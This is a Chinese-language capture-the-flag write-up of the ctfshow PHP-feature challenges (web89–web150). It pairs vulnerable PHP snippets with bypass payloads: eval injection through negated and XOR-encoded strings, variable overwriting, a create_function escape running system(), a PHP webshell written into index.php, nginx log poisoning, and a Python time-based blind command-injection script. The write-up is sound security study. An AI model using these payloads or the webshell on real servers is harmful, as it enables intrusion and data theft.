前面的部分有的图片没有成功上传图床所以并不全
web89 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; } }
由于preg_match()只能处理字符串,当传入的是数组时将会返回false,从而绕过死亡函数。
web90 ===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等
web91 /i表示匹配大小写,/m表示多行匹配,/s 匹配任何空白字符,包括空格、制表符、换页符等等。
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true,否则返回false
web94 PHP strpos() 函数:查找某字符串在整个字符串中第一次出现的位置
web97 1 2 3 4 5 6 7 8 9 10 11 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;else print 'Wrong.' ;} ?>
md5强比较:利用md5函数处理数组类型会返回false的特性,从而利用false=false来绕过
[BJDCTF 2020]easy_md5 sql注入但需绕过后端md5的检测
用ffifdyop
绕过, md5函数在指定了true的时候,是返回的原始 16 字符二进制 格式。
ffifdyop 这个字符串被 md5 哈希 了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是’ or ‘6
后面用数组绕过就行
web99 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); } if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); } ?>
web100 PHP里面 =
的优先级是比and
优先级高的
and or
和&& ||
区别就是优先级不同前者的在=
后面,后者在=
前面
web101 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } } ?>
在程序运行中,对于任意的一个类,【通过反射类都能够知道这个类的属性和方法】
通过反射类可以获取 【对象的命名空间,对象的名字等】
根据提示,flag已在class类中,因此:
1 ?v1=1&v2=echo new ReflectionClass&v3=;
web102 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); } else { die ('hacker' ); } ?>
科学计数法绕过(115044383959474e6864434171594473)(<?=cat *
;)
hex2bin利用call_user_func()
1 2 v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post:v1=hex2bin
web103 同web102
web104 sha1()
函数无法处理数组类型,会返回NULL,if条件就成立了
或者
1 2 3 4 5 6 aaK1STfY ↓ 0 e76658526655756207688271159624026011393 aaO8zKZF ↓ 0 e89257456677279068558073954252716165668
web105 php变量覆盖漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 highlight_file (__FILE__ );include ('flag.php' );error_reporting (0 );$error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; } if (!($_POST ['flag' ]==$flag )){ die ($error ); } echo "your are good" .$flag ."\n" ;die ($suces );?>
在对于GET的循环中,由$$key=$$value;
得到$suces=$flag
;在对于POST的循环中,同样可以得到$error=$suces
,那么有$error=$flag
,从而die($flag);
输出flag。
1 2 GET: ?suces=flag POST: ?error=suces
web106 sha1考点,上面有
web107 PHP parse_str() 函数:把查询字符串解析到变量中
v1、v3都为空数组即可
web108 ereg()函数存在NULL截断漏洞
%00截断正则匹配,格式化字符不会当作数字被url解析
web109 1 2 3 4 5 6 7 8 9 10 11 12 13 highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } } ?>
1 v1=ReflectionClass&v2=system('ls')
__toString()
:当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。
PHP5.2.0之前,__toString() 方法只在使用 echo 或 print 时才生效。PHP5.2.0之后,可以在任何字符串环境生效。
不少php的内置类里都包含有这个方法,如Reflectionclass
、Exception
、Error
。
echo使得$v1
类触发__toString()
,传递的参数v2会被输出。
对于v2后面的括号:只要变量后面紧跟着(),那么对这个变量进行函数调用。
如可以让返回值是phpinfo ,就可以调用phpinfo()
web110 php原生类
1 http://c777d70e-1cee-4db9-9d32-bcbed2454002.challenge.ctf.show/?v1=FilesystemIterator&v2=getcwd
利用 FilesystemIterator 获取指定目录下的所有文件,FilesystemIterator继承父类DirectoryIterator的_toString方法
getcwd()函数 获取当前工作目录 返回当前工作目录
web111 看到两个$,变量覆盖
用$v2去覆盖$v1的值
v1的值为ctfshow,将$v1覆盖为GLOBALS,配合var_dump可以返回全局作用域中可用的全部变量
flag作为全局变量会被带出来
1 http://84567e21-dee0-4bf8-be50-dcf58764d719.challenge.ctf.show/?v1=ctfshow&v2=GLOBALS
web112 伪协议绕过检测
1 php://filter/resource=flag.php
web113 zlib伪协议
1 http://47126220-82d8-4d30-8511-5af68172ae05.challenge.ctf.show/?file=compress.zlib://flag.php
web114 同112
web115 %0c绕过trim函数的限制同时因为==和!==的判断标准不同因此可以成立
web123 post用引用的方式传参,但是在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_
,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
web125 1 CTF_SHOW=1&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())
使用get_defined_vars()代替GLOBALS
web126 1 2 3 4 5 6 7 8 9 10 11 12 13 error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c ) && strlen ($c )<=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
过滤了部分字母,使用if条件输出flag
这里须知$_SERVER和parse_str()的用法
1 2 3 4 5 6 7 8 9 10 11 12 13 1、cli模式(命令行)下 第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数 2、web网页模式下 在web页模式下必须在php.ini开启register_argc_argv配置项 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果 这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’] $argv,$argc在web模式下不适用
$_SERVER[‘QUERY_STRING’]用于查询字符串
parse_str()把查询字符串解析到变量(extract() 函数从数组中将变量导入到当前的符号表。也可以起到变量覆盖的作用
parse_str()给变量赋值,在这里是给数组a的第2个赋值, 且数组是以空格来划分,这里就用+来代替空格, 可以实现把变量fl0g值覆盖为flag_give_me
1 http://69309a51-ef74-4426-b613-5a34ec121105.challenge.ctf.show/?z=1+fl0g=flag_give_me
1 CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])
web127 空格就能绕过(?
web128 用到gettext这个php扩展
在开启该拓展后 _() 等效于 gettext()
1 2 3 var_dump(call_user_func(call_user_func($ f1,$f2 ))); var_dump(call_user_func(call_user_func(_,'get_defined_vars'))); var_dump(call_user_func(get_defined_vars));
get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
web129 1 http://c2c0ba88-efa5-48b3-b530-a08a30bdb38b.challenge.ctf.show/?f=/ctfshow/../../../var/www/html/flag.php
目录穿越
web130-131 1 2 3 4 5 6 7 import requestsurl = "http://0a35c93d-1b1c-4c5d-b551-c9813d6dae06.challenge.ctf.show/" data = { 'f' : 'a' *1000000 +'36Dctfshow' } res = requests.post(url=url,data=data) print (res.text)
web133 1 2 3 4 5 6 7 8 9 10 error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|netcat/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("6个字母都还不够呀?!" ); } }
传递参数本身实现变量的覆盖从而绕过截断函数的限制
curl是一种命令行工具,作用是发出网络请求,然后获取数据,显示在”标准输出“上。
curl -f将flag文件上传到Brup Suite的Collaborator Client(类似于DNSLOG),其功能要比DNSLOG强大,主要体现在可以查看POST请求以及打Cookies 查看网页源码:直接在curl命令后面加上网址 例如curl www.baidu.com
如果要把这个网页保存下来,可以使用-o参数 例如curl -o 【文件名】 www.baidu.com
发送表单信息:
GET方式相对简单,只要把数据附在网址后面就行
POST方式必须要把数据和网址分开,curl就要用到–data或者是-d参数;例如 curl -X POST –data “data=xxx” www.xxx.com (不加-X默认是GET方式 -X可以指定请求方式)
curl带到外面用nc监听
web134 我感觉看的extract()就应该想变量覆盖
1 2 3 4 5 6 7 8 9 10 11 highlight_file (__FILE__ );$key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) { die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]); extract ($_POST );if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents ('flag.php' )); }
parse_str配合extract可以把查询的post写进变量实现覆盖
$_SERVER[‘QUERY_STRING’]是查询url后面的参数,因此以get形式传递
web135 1 2 3 4 5 6 7 8 9 10 error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("师傅们居然破解了前面的,那就来一个加强版吧" ); } }
原来还可以直接nl写入进去,这样其实133也可以这么做
web136
还是写入文件,使用tee命令
1 2 c=ls /|tee 1233 c=cat /f149_15_h3r3|tee 12332
web137 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } call_user_func ($_POST ['ctfshow' ]);
羽师傅:
1 2 3 php中 ->与:: 调用类中的成员的区别 ->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法.
双冒号可以不用实例化类就可以直接调用类中的方法
1 ctfshow=ctfshow::getFlag
web138 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } if (strripos ($_POST ['ctfshow' ], ":" )>-1 ){ die ("private function" ); } call_user_func ($_POST ['ctfshow' ]);
call_user_func中不但可以传字符串也可以传数组
过滤了冒号,传输组
1 ctfshow[0 ]=ctfshow&ctfshow[1 ]=getFlag
web139 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); } else { highlight_file (__FILE__ ); } ?>
ban了mkdir,没法写
bash盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests import time as t from urllib.parse import quote as urlenurl = 'http://85abd7bc-8396-47d1-81d7-a10e92331e33.challenge.ctf.show/?c=' alphabet = ['{' ,'}' , '.' ,'/' ,'@' ,'-' ,'_' ,'=' ,'a' ,'b' ,'c' ,'d' ,'e' ,'f' ,'j' ,'h' ,'i' ,'g' ,'k' ,'l' ,'m' ,'n' ,'o' ,'p' ,'q' ,'r' ,'s' ,'t' ,'u' ,'v' ,'w' ,'x' ,'y' ,'z' ,'A' ,'B' ,'C' ,'D' ,'E' ,'F' ,'G' ,'H' ,'I' ,'J' ,'K' ,'L' ,'M' ,'N' ,'O' ,'P' ,'Q' ,'R' ,'S' ,'T' ,'U' ,'V' ,'W' ,'X' ,'Y' ,'Z' ,'0' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ] result = '' for i in range (1 ,100 ): for char in alphabet: payload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi" .format (i,char) try : start = int (t.time ()) r = requests.get (url+payload) end = int (t.time ()) - start if end >= 3 : result += char print ("Flag: " +result) break except Exception as e: print (e)
web140 1 2 3 4 5 6 7 8 9 10 11 12 13 14 error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['f1' ]) && isset ($_POST ['f2' ])){ $f1 = (String)$_POST ['f1' ]; $f2 = (String)$_POST ['f2' ]; if (preg_match ('/^[a-z0-9]+$/' , $f1 )){ if (preg_match ('/^[a-z0-9]+$/' , $f2 )){ $code = eval ("return $f1 ($f2 ());" ); if (intval ($code ) == 'ctfshow' ){ echo file_get_contents ("flag.php" ); } } } }
php松散比较
eg:
1 2 3 4 5 6 7 <?php echo 'abc' == 0 ? '相等' : '不相等' ; echo '1abc' == 1 ? '相等' : '不相等' ; echo 'abc1' == 1 ? '相等' : '不相等' ; echo md5 ('240610708' ) == md5 ('QNKCDZO' ) ? '相等' : '不相等' ; echo "0x1e240" =="123456" ? '相等' : '不相等' ; ?>
参考
intval会将非数字字符转换为0
这里md5(phpinfo())为什么页面还会返回探针,不太懂,难道说eval是先执行内层再执行外层函数?
web141 1 2 3 4 5 6 7 8 9 10 11 12 13 highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/^\W+$/' , $v3 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
需要绕过return
在v3两边加上-可以绕过return同时不妨碍命令的执行
取反绕过匹配的限制!!!!!
1 v1=1 &v2=1 &v3=-(~%8 C%86 %8 C%8 B%9 A%92 )(~%93 %8 C)-
web142 1 2 3 4 5 6 7 8 9 10 error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['v1' ])){ $v1 = (String)$_GET ['v1' ]; if (is_numeric ($v1 )){ $d = (int )($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d ); sleep ($d ); echo file_get_contents ("flag.php" ); } }
传个0没什么好说的
web143 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
可以用乘号和异或代替
1 ?v1=1 &v2=1 &v3=*("%0c%06%0c%0b%05%0d" ^"%7f%7f%7f%7f%60%60" )("%0b%01%03%00%00" ^"%7f%60%60%20%2a" )*
web144 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && check ($v3 )){ if (preg_match ('/^\W+$/' , $v2 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } } function check ($str ) { return strlen ($str )===1 ?true :false ; }
v3长度只能是1,但是解除了对v2的限制
1 v1=1 &v3=-&v2=(~%8 c%86 %8 c%8 b%9 a%92 )(~%8 b%9 e%9 c%df%99 %d5)
web145 三目运算符使得payload成立
1 eval ("return 1?phpinfo():1;" );
可以执行phpinfo()
1 v1=1 &v3=?(~%8 c%86 %8 c%8 b%9 a%92 )(~%8 b%9 e%9 c%df%99 %d5):&v2=1
web146 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
可以使用位运算符|和取反绕过
1 v1=1 &v2=1 &v3=|(~%8 C%86 %8 C%8 B%9 A%92 )(~%8 B%9 E%9 C%DF%D5)|
web147 1 2 3 4 5 6 7 8 9 highlight_file (__FILE__ );if (isset ($_POST ['ctf' ])){ $ctfshow = $_POST ['ctf' ]; if (!preg_match ('/^[a-z0-9_]*$/isD' ,$ctfshow )) { $ctfshow ('' ,$_GET ['show' ]); } }
creat_function,之前一次比赛见过一次
1 2 3 4 5 6 7 create_function ('$a' ,'echo $a."123"' )类似于 function f ($a ) { echo $a ."123" ; }
因此往第二个参数后面加某些东西可以实现逃逸
就是这样
1 2 3 4 function f ($a ) { echo 1 ;}phpinfo (); } 从而执行phpinfo ()命令
1 2 get: show=echo 123 ;}system ('tac f*' ); post: ctf=%5 ccreate_function
为什么加%5c?
在PHP的命名空间默认为\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
web148 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 include 'flag.php' ;if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (preg_match ("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/" ,$code )){ die ("error" ); } @eval ($code ); } else { highlight_file (__FILE__ ); } function get_ctfshow_fl0g ( ) { echo file_get_contents ("flag.php" ); }
xor:
之前一直异或不出来,后来发现是编译器的问题qwq
web149 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 error_reporting (0 );highlight_file (__FILE__ );$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } file_put_contents ($_GET ['ctf' ], $_POST ['show' ]);$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } }
file_put_contents的用法👆
直接往里面写
1 2 ?ctf=index.php show=<?php @eval ($_POST ['1' ]); ?>
web150 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } } $key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); } $ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; } if ($isVIP && strrpos ($ctf , ":" )===FALSE ){ include ($ctf ); }
include()这里想办法包含进去
这题不太懂,先放这里,是利用日志文件进行一句话木马 并成功包含的
先到index.php改user-agent为一句话木马让日志记录再包含日志文件写入木马
1 2 ?isVIP=true ctf=/var /log/nginx/access.log&1 =phpinfo ();
web150+ 这题不允许包含日志文件了
需要注意__autoload()函数不是类里面的
1 2 3 4 __autoload — 尝试加载未定义的类 最后构造? .. CTFSHOW ..= phpinfo就可以看到phpinfo信息啦 原因是.. CTFSHOW .. 解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用 __autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
flag在环境变量里